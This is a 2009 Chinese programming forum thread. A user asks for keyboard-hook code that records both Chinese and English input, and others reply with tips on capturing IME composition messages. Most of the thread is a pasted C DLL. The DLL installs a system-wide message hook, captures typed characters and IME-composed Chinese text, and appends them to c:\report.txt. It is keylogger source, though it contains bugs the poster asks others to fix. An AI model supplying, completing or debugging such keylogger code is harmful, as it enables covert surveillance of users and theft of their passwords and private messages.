小弟跪求能记录中英文的键盘果子代码

lysddp 2009-06-14 12:23:21
哪位好心能给我传一下可用的键盘钩子代码,要 能记录中英文的。找了以个晚上一般情况下只能记录英文的,实在太无语了。
QQ邮箱吧: 252225136@QQ.COM
...全文
41 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
driverstudent 2009-06-15
  • 打赏
  • 举报
回复

mark
hackwolfoscar 2009-06-14
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 dfpgb 的回复:]
用钩子记录中文好像是有难度呵?有人说说思路么?
[/Quote]

没有任何难度。

截获到当前输入法就可以了
dfpgb 2009-06-14
  • 打赏
  • 举报
回复
用钩子记录中文好像是有难度呵?有人说说思路么?
lysddp 2009-06-14
  • 打赏
  • 举报
回复
我这里倒是有找到一个代码,用对话框能正确的输出代码,但是保存到文件里面的时候却是乱码,谁能帮我看下么:

#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
char temp[20];
HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;

if (nCode == HC_ACTION && wParam == PM_REMOVE)

{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
memset(temp,0,20);
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{

if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
//MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}

// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);

memset(lpstr, 0, 20);

// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
temp=lpstr;
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
if(strlen(temp)>0)
{
fwrite(temp,1,sizeof(temp),f1);
fwrite("!!!",1,3,f1);
memset(temp,0,20);
}
else
{ch=(char)(pmsg->wParam);


fwrite(&ch,1,1,f1);}
fclose(f1);




}
break;
}
}

return(lResult);
}

HHOOK InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return g_hHook;
}

BOOL UnHook(HHOOK g_hHook)
{
return UnhookWindowsHookEx(g_hHook);
}




BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=(HINSTANCE)hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook(g_hHook);
break;
}
return TRUE;
}
neohope 2009-06-14
  • 打赏
  • 举报
回复
英文用 键盘钩子
中文要用 WM_IME_COMPOSITION

但是这样的话,记录中文的时候,也会把输入的按键记录下来吧

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧